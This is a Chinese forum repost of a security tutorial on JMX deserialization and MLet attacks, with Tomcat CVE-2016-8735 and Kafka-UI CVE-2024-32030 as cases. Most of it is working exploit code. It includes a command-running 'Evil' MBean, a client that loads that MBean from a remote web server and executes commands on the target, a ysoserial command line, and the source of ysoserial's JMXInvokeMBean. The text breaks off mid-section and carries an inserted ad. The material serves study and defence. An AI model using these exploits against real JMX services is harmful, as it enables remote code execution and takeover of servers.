ToB企服应用市场:ToB评测及商务社交产业平台
标题: JMX 反序列化漏洞 [打印本页]
作者: 丝 时间: 2024-7-18 19:16
标题: JMX 反序列化漏洞
前言
前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,以是决定系统来学习一下这个漏洞点。
JMX 基础
JMX 前置知识
JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、装备、系统等植入管理功能的框架。JMX 可以超过一系列异构操纵系统平台、系统体系结构和网络传输协议,灵活的开辟无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。
JMX 的结构一共分为三层:
1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。
- standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循肯定的规范,比方我们的 MBean 为 Hello,则接口必须为 HelloMBean。
- dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。
JMX 基础代码实践
以下代码实现简单的 JMX demo,文件结构- ├── HelloWorld.java
- ├── HelloWorldMBean.java
- └── jmxDemo.java
复制代码 HelloWorldMBean.java- package org.example;
-
- public interface HelloWorldMBean {
- public void sayhello();
- public int add(int x, int y);
- public String getName();
- }
-
复制代码 HelloWorld.java- package org.example;
-
- public class HelloWorld implements HelloWorldMBean{
- private String name = "Drunkbaby";
- @Override
- public void sayhello() {
- System.out.println("hello world" + this.name);
- }
-
- @Override
- public int add(int x, int y) {
- return x + y;
- }
-
- @Override
- public String getName() {
- return this.name;
- }
- }
-
复制代码 jmxDemo.java- package org.example;
-
- import javax.management.MBeanServer;
- import javax.management.ObjectName;
- import javax.management.remote.JMXConnectorServer;
- import javax.management.remote.JMXConnectorServerFactory;
- import javax.management.remote.JMXServiceURL;
- import java.lang.management.ManagementFactory;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
-
- public class jmxDemo {
- public static void main(String[] args) throws Exception{
- MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
- ObjectName mbsName = new ObjectName("test:type=HelloWorld");
- HelloWorld mbean = new HelloWorld();
- mBeanServer.registerMBean(mbean, mbsName);
-
- // 创建一个 RMI Registry
- Registry registry = LocateRegistry.createRegistry(1099);
- // 构造 JMXServiceURL,绑定创建的 RMI
- JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
- // 构造JMXConnectorServer,关联 mbserver
- JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
- jmxConnectorServer.start();
- System.out.println("JMXConnectorServer is ready");
-
- System.out.println("press any key to exit.");
- System.in.read();
-
- }
- }
-
复制代码 其中
- Probe Level:创建了 HelloWorldMBean 实例 mbean
- Agent Level:创建了 MBeanServer 实例 mbs
- Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs
JMX 安全问题
JMX 的安全问题主要发生在以下三处
1、jmx2、mbean3、rmi
其中通过利用 MLet 是最常用的攻击伎俩,算是 jmx 特性 + mbean 利用,接下来我们具体来看看 Mlet 的漏洞利用及原理。
Mlet
Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
攻击过程:
- 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
- 使用JMX在目的服务器上创建 MBeanjavax.management.loading.MLet 的实例
- 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行通报。JMX 服务将连接到http服务器并解析MLet文件
- JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
- 攻击者最终调用来自恶意 MBean 的方法
Evil MBean
文件结构- ├── Evil.java
- └── EvilMBean.java
复制代码 EvilMBean.java- package com.drunkbaby.mlet;
-
- public interface EvilMBean {
- public String runCommand(String cmd);
- }
复制代码 Evil.java- package com.drunkbaby.mlet;
-
- import java.io.BufferedReader;
- import java.io.InputStreamReader;
-
- public class Evil implements EvilMBean
- {
- public String runCommand(String cmd)
- {
- try {
- Runtime rt = Runtime.getRuntime();
- Process proc = rt.exec(cmd);
- BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
- BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
- String stdout_err_data = "";
- String s;
- while ((s = stdInput.readLine()) != null)
- {
- stdout_err_data += s+"\n";
- }
- while ((s = stdError.readLine()) != null)
- {
- stdout_err_data += s+"\n";
- }
- proc.waitFor();
- return stdout_err_data;
- }
- catch (Exception e)
- {
- return e.toString();
- }
- }
- }
复制代码 Mlet Server
将本来的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html- [/code]整体结构如图
- [align=center][img=720,510.2664298401421]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407181426985.png[/img][/align]
- [size=3]Attack Code[/size]
- [b]ExploitJMXByRemoteMBean.java[/b]
- [code]package com.drunkbaby.mlet;
-
- import javax.management.MBeanServerConnection;
- import javax.management.ObjectInstance;
- import javax.management.ObjectName;
- import javax.management.remote.JMXConnector;
- import javax.management.remote.JMXConnectorFactory;
- import javax.management.remote.JMXServiceURL;
- import java.net.MalformedURLException;
- import java.util.HashSet;
- import java.util.Iterator;
-
- public class ExploitJMXByRemoteMBean {
-
- public static void main(String[] args) {
- try {
- // connectAndOwn(args[0], args[1], args[2]);
- connectAndOwn("localhost","1099","open -a Calculator");
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
-
- static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
- try {
- // step1. 通过rmi创建 jmx连接
- JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
- System.out.println("URL: " + u + ", connecting");
- JMXConnector c = JMXConnectorFactory.connect(u);
- System.out.println("Connected: " + c.getConnectionId());
- MBeanServerConnection m = c.getMBeanServerConnection();
-
- // step2. 加载特殊MBean:javax.management.loading.MLet
- ObjectInstance evil_bean = null;
- ObjectInstance evil = null;
- try {
- evil = m.createMBean("javax.management.loading.MLet", null);
- } catch (javax.management.InstanceAlreadyExistsException e) {
- evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
- }
- // step3:通过MLet加载远程恶意MBean
- System.out.println("Loaded "+evil.getClassName());
- Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
- { "http://localhost:4141/evil.html"},
- new String[] { String.class.getName() } );
-
- HashSet res_set = ((HashSet)res);
- Iterator itr = res_set.iterator();
- Object nextObject = itr.next();
- if (nextObject instanceof Exception)
- {
- throw ((Exception)nextObject);
- }
- evil_bean = ((ObjectInstance)nextObject);
-
- // step4: 执行恶意MBean
- System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
- System.out.println("Calling runCommand with: "+command);
- Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
- System.out.println("Result: "+result);
- } catch (Exception e)
- {
- e.printStackTrace();
- }
- }
- }
复制代码[img=720,407.66091051805336]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407181426852.png[/img]
很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证测验指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
JMX 反序列化漏洞
在现实场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735
漏洞描述
这实在是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,以是这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。
- 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本
Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47
环境搭建
https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735
需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。
漏洞复现
- java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
复制代码
漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer- try {
- RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);
- cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());
- cs.start();
- registry.bind("jmxrmi", server);
- log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));
- } catch (AlreadyBoundException | IOException var15) {
- log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);
- }
复制代码 很经典的伎俩,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发
同样这里实在也是用 RMI 协议来打的。
利用 Mlet 的方式动态加载 MBean
这个有点意思,上面在讲 Mlet 攻击的时候实在我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络哀求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。
以是这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean- package ysoserial.exploit;
-
- import javax.management.MBeanServerConnection;
- import javax.management.ObjectName;
- import javax.management.remote.JMXConnector;
- import javax.management.remote.JMXConnectorFactory;
- import javax.management.remote.JMXServiceURL;
-
- import ysoserial.payloads.ObjectPayload.Utils;
-
- /*
- * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
- * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
- *
- */
- public class JMXInvokeMBean {
-
- public static void main(String[] args) throws Exception {
-
- if ( args.length < 4 ) {
- System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
- System.exit(-1);
- }
-
- JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
-
- JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
- MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
-
- // create the payload
- Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
- ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
-
- mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
-
- //close the connection
- jmxConnector.close();
- }
- }
复制代码 我看下来两种漏洞利用的最终思路是很雷同的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 别的一种是在用 jmx:rmi// 协议去打。
当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
漏洞描述
Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意哀求利用后台功能实行恣意代码,控礼服务器。官方已发布安全更新,修复该漏洞。
影响版本
Kafka-UI ></strong>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) |
Powered by Discuz! X3.4 |